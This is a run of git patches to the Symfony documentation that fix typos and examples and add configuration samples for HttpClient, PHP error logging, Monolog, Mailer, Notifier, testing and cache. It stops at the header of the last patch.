From e6c5c29837f3e47f7d5c9bfb0be15ad763be379f Mon Sep 17 00:00:00 2001
From: Jason Johnstone <jason@johnstonemedia.com>
Date: Tue, 22 Jun 2021 12:00:49 -0500
Subject: [PATCH 2305/7107] Update ldap.rst

Add single quotes in filter option documentation
---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 1d281a15e0d..08caf52b3e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -117,7 +117,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
 Use the ``filter`` option to only retrieve some specific attributes:
 
-    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
 
 Creating or Updating Entries
 ----------------------------

From 24baf26a5223fe96507dda03f486198ebd244774 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 23 Jun 2021 12:59:38 +0200
Subject: [PATCH 2306/7107] [HttpClient] Add a note about concurrent requests

---
 http_client.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index a502730f1e7..5729c141eb2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1001,6 +1001,13 @@ first and be read later on. This will allow the client to monitor all pending
 requests while your code waits for a specific one, as done in each iteration of
 the above "foreach" loop.
 
+.. note::
+
+    The maximum number of concurrent requests that you can perform depend on the
+    resources of your machine (e.g. your operating system may limit the number
+    of simultaneous reads of the file that stores the certificates file).
+    Make your requests in batches to avoid these issues.
+
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 91653b651d0aebc0fff33c2838c5d053e88107e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Jun 2021 10:51:19 +0200
Subject: [PATCH 2307/7107] Minor tweak

---
 http_client.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 5729c141eb2..b1fd989a44c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1003,10 +1003,10 @@ the above "foreach" loop.
 
 .. note::
 
-    The maximum number of concurrent requests that you can perform depend on the
-    resources of your machine (e.g. your operating system may limit the number
-    of simultaneous reads of the file that stores the certificates file).
-    Make your requests in batches to avoid these issues.
+    The maximum number of concurrent requests that you can perform depends on
+    the resources of your machine (e.g. your operating system may limit the
+    number of simultaneous reads of the file that stores the certificates
+    file). Make your requests in batches to avoid these issues.
 
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~

From dddaf2e91db773738b753f187fcc7940087f79c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 23 Jun 2021 15:11:03 +0200
Subject: [PATCH 2308/7107] Document the option to map PHP errors to log levels

---
 reference/configuration/framework.rst | 63 +++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c037e0c3c29..286a4e530ae 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2845,6 +2845,69 @@ Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer
 values must be the same used in the `error_reporting PHP option`_.
 
+This option also accepts a map of PHP errors to log levels:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            php_errors:
+                log:
+                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Psr\Log\LogLevel;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The option to map PHP errors to log levels was introduced in Symfony 5.3.
+
 throw
 .....
 

From bd84809a4e1b780698ceedab4eb9b754d12a3ef9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 00:11:04 +0200
Subject: [PATCH 2309/7107] Updating `excluded_404s` to `excluded_http_codes`

The syntaxes are taken from https://symfony.com/doc/current/logging/monolog_exclude_http_codes.html
---
 logging/monolog_email.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 7822de7c58c..f68f8c3237e 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -28,8 +28,7 @@ it is broken down.
                     action_level: critical
                     # to also log 400 level errors (but not 404's):
                     # action_level: error
-                    # excluded_404s:
-                    #     - ^/
+                    # excluded_http_codes: [404]
                     handler:      deduplicated
                 deduplicated:
                     type:    deduplication
@@ -62,7 +61,7 @@ it is broken down.
                 to also log 400 level errors (but not 404's):
                 action-level="error"
                 And add this child inside this monolog:handler
-                <monolog:excluded-404>^/</monolog:excluded-404>
+                <monolog:excluded-http-code code="404"/>
                 -->
                 <monolog:handler
                     name="main"
@@ -107,9 +106,7 @@ it is broken down.
                     'action_level' => 'critical',
                     // to also log 400 level errors (but not 404's):
                     // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
+                    // 'excluded_http_codes' => [404],
                     'handler'      => 'deduplicated',
                 ],
                 'deduplicated' => [

From e23c7ec69d8a4a1b3c390b9cde868e95323869a5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 17:30:39 +0200
Subject: [PATCH 2310/7107] Recommending "strict" mode for users of Symfony
 Mailer

Maybe you could add a link to Symfony Mailer?
---
 reference/constraints/Email.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5cbeaeb4523..71a3236499d 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -160,8 +160,10 @@ in the second host part of the email address.
 strict
 ......
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+If you're using Symfony Mailer to send emails to that address, this is
+the recommended mode, since both are using the same library, to perform an RFC
+compliant validation: `egulias/email-validator`_. If you're not using Symfony
+Mailer, you will need to install that library separately to use this mode.
 
 html5
 .....

From cde5af7cacad39dd44d71d39ce2b6845c98afb7e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 26 Jun 2021 13:36:48 +0200
Subject: [PATCH 2311/7107] Minor change at email_validation_mode

Info is taken from https://github.com/symfony/symfony/issues/41855#issuecomment-868670803

Maybe you should create an include to use the same wording for here and https://symfony.com/doc/4.4/reference/constraints/Email.html#mode
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4cd6f938166..cc3227a4519 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2398,7 +2398,7 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
-It controls the way email addresses are validated by the
+Sets the default value for 
 :doc:`/reference/constraints/Email` validator. The possible values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it

From 52017f283b4ff2dca012b7e2f2ef46ede9a358ec Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Wed, 30 Jun 2021 20:58:36 +0200
Subject: [PATCH 2312/7107] Add missing configurations

---
 reference/configuration/framework.rst | 123 ++++++++++++++++++++++----
 1 file changed, 105 insertions(+), 18 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4cd6f938166..9d3b45048eb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -751,16 +751,62 @@ as a service named ``http_client`` or using the autowiring alias
 
 This service can be configured using ``framework.http_client.default_options``:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            max_host_connections: 10
-            default_options:
-                headers: { 'X-Powered-By': 'ACME App' }
-                max_redirects: 7
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
 .. _reference-http-client-scoped-clients:
 
@@ -769,16 +815,57 @@ service name defined as a key under ``scoped_clients``. Scoped clients inherit
 the default options defined for the ``http_client`` service. You can override
 these options and can define a few others:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            scoped_clients:
-                my_api.client:
-                    auth_bearer: secret_bearer_token
-                    # ...
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
 Options defined for scoped clients apply only to URLs that match either their
 `base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always

From 608de4a74f5801641214393c1442200cfd2deaa7 Mon Sep 17 00:00:00 2001
From: Ulumuddin Cahyadi Yunus <ulumuddin.cy@gmail.com>
Date: Tue, 29 Jun 2021 10:28:06 +0700
Subject: [PATCH 2313/7107] Upgrade popper package to v2

Bootstrap 5 is using popper v2

Based on https://popper.js.org/docs/v2/migration-guide/

from `popper.js` to `@popperjs/core`
---
 frontend/encore/bootstrap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 5d260bbc21a..34d503767c6 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -43,7 +43,7 @@ used in your application:
 .. code-block:: terminal
 
     // jQuery is only required in versions prior to Bootstrap 5
-    $ yarn add jquery popper.js --dev
+    $ yarn add jquery @popperjs/core --dev
 
 Now, require bootstrap from any of your JavaScript files:
 

From 1b5fd8c51dc0cbb017ed38f26e5bb7d3502eee98 Mon Sep 17 00:00:00 2001
From: Vu Phuong <vuphuong87@gmail.com>
Date: Sat, 22 May 2021 14:07:20 +0700
Subject: [PATCH 2314/7107] [Notifier] [MessageMedia] add docs

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..071cf8fa527 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOS
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -91,6 +92,10 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
     The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The MessageMedia integration was introduced in Symfony 5.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 63a817813668802f1fcfab0ceded0ee830c3fea8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 2 Jul 2021 10:36:00 +0200
Subject: [PATCH 2315/7107] Fix: Update DOCtor-RST config file for Symfony 6.0

---
 .doctor-rst.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f63b8689521..b75b04b524a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -53,16 +53,16 @@ rules:
 
     #   master
     versionadded_directive_major_version:
-        major_version: 5
+        major_version: 6
 
     versionadded_directive_min_version:
-        min_version: '5.0'
+        min_version: '6.0'
 
     deprecated_directive_major_version:
-        major_version: 5
+        major_version: 6
 
     deprecated_directive_min_version:
-        min_version: '5.0'
+        min_version: '6.0'
 
 # do not report as violation
 whitelist:

From 3cd1e7a0b74026d07275348e5c7c336458b0929e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Jul 2021 15:02:12 +0200
Subject: [PATCH 2316/7107] Minor clarification

The text above says:
> By default the first transport is used

The wording I changed suggested that the first transport called "main" is used (not the very first one in total).
---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec13d48e4ba..d11995a108c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -947,10 +947,10 @@ This can be configured by replacing the ``dsn`` configuration entry with a
 By default the first transport is used. The other transports can be used by
 adding a text header ``X-Transport`` to an email::
 
-    // Send using first "main" transport ...
+    // Send using first transport ("main"):
     $mailer->send($email);
 
-    // ... or use the "alternative" one
+    // ... or use the transport "alternative":
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 

From 77f34c51107c43f33eee8accc55a0528a7a941b2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Jul 2021 16:38:25 +0200
Subject: [PATCH 2317/7107] Added header removal notice

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec13d48e4ba..8aa3f82acb7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -944,8 +944,9 @@ This can be configured by replacing the ``dsn`` configuration entry with a
             ],
         ]);
 
-By default the first transport is used. The other transports can be used by
-adding a text header ``X-Transport`` to an email::
+By default the first transport is used. The other transports can be selected by
+adding an ``X-Transport`` header (which Mailer will remove automatically from
+the final email)::
 
     // Send using first "main" transport ...
     $mailer->send($email);

From aad93f4c12926087255c9b50a008b0a4bd07a0dc Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Sun, 4 Jul 2021 10:03:09 +0200
Subject: [PATCH 2318/7107] [Console] Document
 CommandTester::assertCommandIsSuccessful() usage

---
 console.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/console.rst b/console.rst
index 72e7ea30e0b..80ae5fd7cd5 100644
--- a/console.rst
+++ b/console.rst
@@ -384,6 +384,8 @@ console::
                 // e.g: '--some-option' => 'option_value',
             ]);
 
+            $commandTester->assertCommandIsSuccessful();
+
             // the output of the command in the console
             $output = $commandTester->getDisplay();
             $this->assertStringContainsString('Username: Wouter', $output);
@@ -400,6 +402,10 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     The ``setAutoExit()`` method for single-command applications was introduced
     in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
+
 .. tip::
 
     You can also test a whole console application by using

From 28e7cbee67de91ca6e9ba716acd545a640f7bda5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Jul 2021 18:05:13 +0200
Subject: [PATCH 2319/7107] [Contribution] Document the different types of
 tests run in CI

---
 contributing/code/pull_requests.rst | 62 +++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index d1f06f8db76..b2dc73ac06d 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -429,6 +429,68 @@ After the `Psalm phar is installed`_, the analysis can be run locally with:
 
     $ psalm.phar src/Symfony/Component/Workflow
 
+Automated Tests
+~~~~~~~~~~~~~~~
+
+A series of automated tests will run when submitting the pull request.
+These test the code under different conditions, to be sure nothing
+important is broken. Test failures can be unrelated to your changes. If you
+think this is the case, you can check if the target branch has the same
+errors and leave a comment on your PR.
+
+Otherwise, the test failure might be caused by your changes. The following
+test scenarios run on each change:
+
+``PHPUnit / Tests``
+    This job runs on Ubuntu using multiple PHP versions (each in their
+    own job). These jobs run the testsuite just like you would do locally.
+
+    A failure in these jobs often indicates a bug in the code.
+
+``PHPUnit / Tests (high-deps)``
+    This job checks each package (bridge, bundle or component) in ``src/``
+    individually by calling ``composer update`` and ``phpunit`` from inside
+    each package.
+
+    A failure in this job often indicates a missing package in the
+    ``composer.json`` of the failing package (e.g.
+    ``src/Symfony/Bundle/FrameworkBundle/composer.json``).
+
+    This job also runs relevant packages using a "flipped" test (indicated
+    by a ``^`` suffix in the package name). These tests checkout the
+    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    and run the tests with your branch as dependency.
+
+    A failure in these flipped tests indicate a backwards compatibility
+    break in your changes.
+
+``PHPUnit / Tests (low-deps)``
+    This job also checks each package individually, but then uses
+    ``composer update --prefer-lowest`` before running the tests.
+
+    A failure in this job often indicates a wrong version range or a
+    missing package in the ``composer.json`` of the failing package.
+
+``continuous-integration/appveyor/pr``
+    This job runs on Windows using the x86 architecture and the lowest
+    supported PHP version. All tests first run without extra PHP
+    extensions. Then, all skipped tests are run using all required PHP
+    extensions.
+
+    A failure in this job often indicate that your changes do not support
+    Windows, x86 or PHP with minimal extensions.
+
+``Integration / Tests``
+    Integration tests require other services (e.g. Redis or RabbitMQ) to
+    run. This job only runs the tests in the ``integration`` PHPUnit group.
+
+    A failure in this job indicates a bug in the communication with these
+    services.
+
+``PHPUnit / Tests (experimental)``
+    This job always passes (even with failing tests) and is used by the
+    core team to prepare for the upcoming PHP versions.
+
 .. _rework-your-patch:
 
 Rework your Pull Request

From 984ae66891baa66e181572b5c72868eb9bcdd5f0 Mon Sep 17 00:00:00 2001
From: fridde <f@hehl.se>
Date: Sun, 4 Jul 2021 23:28:26 +0200
Subject: [PATCH 2320/7107] Fixed ambiguous sentence

Fixed sentence that created confusion: "A few libraries starting with symfony/ follow their versioning scheme." should contain "own"
---
 setup/upgrade_minor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 66e261a6726..09508c0469d 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -41,7 +41,7 @@ probably need to update the version constraint next to each library starting
               "...": "...",
 
               "...": "A few libraries starting with
-                      symfony/ follow their versioning scheme. You
+                      symfony/ follow their own versioning scheme. You
                       do not need to update these versions: you can
                       upgrade them independently whenever you want",
               "symfony/monolog-bundle": "^3.5",

From a8177db4d3ac78ece633a77517cee7b81f5fc263 Mon Sep 17 00:00:00 2001
From: Maxim Tugaev <tugmaks@yandex.ru>
Date: Wed, 7 Jul 2021 17:59:53 +0300
Subject: [PATCH 2321/7107] Global variable in TwigConfig should be passed by
 service function

---
 templating/global_variables.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 12090f8b859..b3933e6f387 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -100,11 +100,12 @@ the ``@`` character, which is the usual syntax to
 
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
 
         return static function (TwigConfig $twig) {
             // ...
 
-            $twig->global('uuid')->value('@App\Generator\UuidGenerator');
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
         };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the

From fb7f34e032766d1f2b58a85a0eb57828ad6cf867 Mon Sep 17 00:00:00 2001
From: Julio Montoya <gugli100@gmail.com>
Date: Thu, 8 Jul 2021 11:01:43 +0200
Subject: [PATCH 2322/7107] Minor - Remove deprecated self::$container

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 717e13ffc13..b3dba9e0ee3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1479,7 +1479,7 @@ during a request::
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
             /* @var InMemoryTransport $transport */
-            $transport = self::$container->get('messenger.transport.async_priority_normal');
+            $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }
     }

From 2133943f2e4807def63f91803b47b1bbafde5238 Mon Sep 17 00:00:00 2001
From: Nicolas Clavaud <nclavaud@gmail.com>
Date: Fri, 9 Jul 2021 18:59:44 +0200
Subject: [PATCH 2323/7107] Fix example in Regex.rst

---
 reference/constraints/Regex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 2c109c53d4b..565e62db5e6 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -244,7 +244,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
         {
             #[Assert\Regex(
                 pattern: '/^[a-z]+$/i',
-                match: '^[a-zA-Z]+$'
+                htmlPattern: '^[a-zA-Z]+$'
             )]
             protected $name;
         }

From d72d610522f1e305761e8667e864bcd7ffa49f7a Mon Sep 17 00:00:00 2001
From: Damien Chedan <tcheutcheud@gmail.com>
Date: Mon, 5 Jul 2021 11:54:14 +0200
Subject: [PATCH 2324/7107] [Testing] use static::getContainer()

self::$container is deprecated since symfony5.3
---
 testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4d522e49d71..346cc573e94 100644
--- a/testing.rst
+++ b/testing.rst
@@ -246,7 +246,7 @@ Retrieving Services in the Test
 
 In your integration tests, you often need to fetch the service from the
 service container to call a specific method. After booting the kernel,
-the container is stored in ``self::$container``::
+the container is stored in ``static::getContainer()``::
 
     // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
@@ -261,8 +261,8 @@ the container is stored in ``self::$container``::
             // (1) boot the Symfony kernel
             self::bootKernel();
 
-            // (2) use self::$container to access the service container
-            $container = self::$container;
+            // (2) use static::getContainer() to access the service container
+            $container = static::getContainer();
 
             // (3) run some service & test the result
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
@@ -272,7 +272,7 @@ the container is stored in ``self::$container``::
         }
     }
 
-The container in ``self::$container`` is actually a special test container.
+The container in ``static::getContainer()`` is actually a special test container.
 It gives you access to both the public services and the non-removed
 :ref:`private services <container-public>` services.
 

From 1a3e544258bd67347186b88c1183912e8a37e632 Mon Sep 17 00:00:00 2001
From: Tobias Schultze <webmaster@tubo-world.de>
Date: Sun, 11 Jul 2021 15:18:30 +0200
Subject: [PATCH 2325/7107] Fix doc of cache prefix and namespace

---
 cache.rst                             | 4 ++--
 reference/configuration/framework.rst | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index 12125402e0d..cbfc178da54 100644
--- a/cache.rst
+++ b/cache.rst
@@ -305,8 +305,8 @@ You can also create more customized pools:
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
-of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>`
-that defaults to the project directory.
+of the cache adapter class and a :ref:`configurable seed <reference-cache-prefix-seed>`
+that defaults to the project directory and compiled container class.
 
 Each custom pool becomes a service whose service ID is the name of the pool
 (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a2f18c2f335..8535d9fce14 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2485,7 +2485,7 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
-Sets the default value for 
+Sets the default value for
 :doc:`/reference/constraints/Email` validator. The possible values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
@@ -2938,9 +2938,9 @@ The cache clearer used to clear your PSR-6 cache.
 prefix_seed
 ...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-If defined, this value is used as part of the "namespace" generated for the
+This value is used as part of the "namespace" generated for the
 cache item keys. A common practice is to use the unique name of the application
 (e.g. ``symfony.com``) because that prevents naming collisions when deploying
 multiple applications into the same path (on different servers) that share the

From 818f5942ae6b168ff3175ae874a4781bbe465b2b Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 9 Jul 2021 17:49:44 +0200
Subject: [PATCH 2326/7107] Typo in class name

Set right name for the name of factory class
---
